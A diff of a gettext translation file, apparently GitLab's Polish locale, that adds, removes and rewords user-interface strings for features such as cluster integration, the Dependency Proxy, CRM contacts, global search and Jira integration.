msgstr ""
@@ -7824,15 +7994,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7959,9 +8132,6 @@ msgstr "Pobieranie projektów"
msgid "ClusterIntegration|Fetching zones"
msgstr "Pobieranie stref"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -8007,12 +8177,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -8034,9 +8198,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Klastry Kubernetes pozwalają Ci w łatwy sposób używać aplikacji oceniających, wdrażać aplikacje, uruchamiać procesy i wiele więcej."
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8337,6 +8498,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8391,6 +8555,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8448,9 +8615,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8487,6 +8651,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8914,6 +9081,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8926,6 +9099,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8965,9 +9141,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9685,7 +9858,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9841,6 +10014,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -10000,6 +10176,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -10033,9 +10212,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10255,6 +10431,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10647,6 +10853,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11296,6 +11505,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11317,6 +11529,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11371,9 +11586,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11419,6 +11631,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11542,6 +11760,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11557,19 +11778,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11815,9 +12042,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -12051,7 +12275,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12324,6 +12548,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12493,6 +12720,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12583,9 +12813,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12619,6 +12846,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12697,9 +12927,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12793,6 +13029,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12808,6 +13047,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12829,6 +13071,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12928,9 +13173,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12982,6 +13224,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -13003,6 +13248,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -13075,6 +13323,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13249,6 +13500,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13334,16 +13591,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13583,9 +13837,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13634,9 +13885,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13973,7 +14221,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14157,9 +14405,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14277,6 +14522,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14352,6 +14603,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14470,6 +14727,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14536,6 +14796,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14548,9 +14811,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14994,6 +15254,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -15090,15 +15353,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15177,6 +15431,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15390,6 +15647,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15495,9 +15755,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15771,9 +16028,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15945,6 +16199,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -16008,6 +16265,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16179,6 +16439,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16326,7 +16631,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16383,6 +16700,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16647,7 +16967,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16947,6 +17267,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -17124,7 +17450,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -17139,7 +17468,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17238,6 +17570,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17507,7 +17842,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17546,6 +17881,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18329,7 +18667,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18494,9 +18835,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18560,6 +18898,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18777,12 +19118,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18900,6 +19247,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18915,6 +19265,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18945,7 +19301,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -19002,7 +19361,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -19140,22 +19499,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19170,9 +19526,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19191,9 +19544,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19380,6 +19730,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19455,6 +19808,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19512,16 +19868,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19530,9 +19883,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19626,6 +19976,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19635,6 +19988,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19731,9 +20087,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19758,9 +20120,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19869,18 +20228,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19899,18 +20249,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19920,6 +20264,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19929,12 +20276,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19965,9 +20306,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20265,6 +20603,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20611,7 +20952,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20716,6 +21057,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20761,6 +21105,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20911,9 +21258,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20941,13 +21285,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
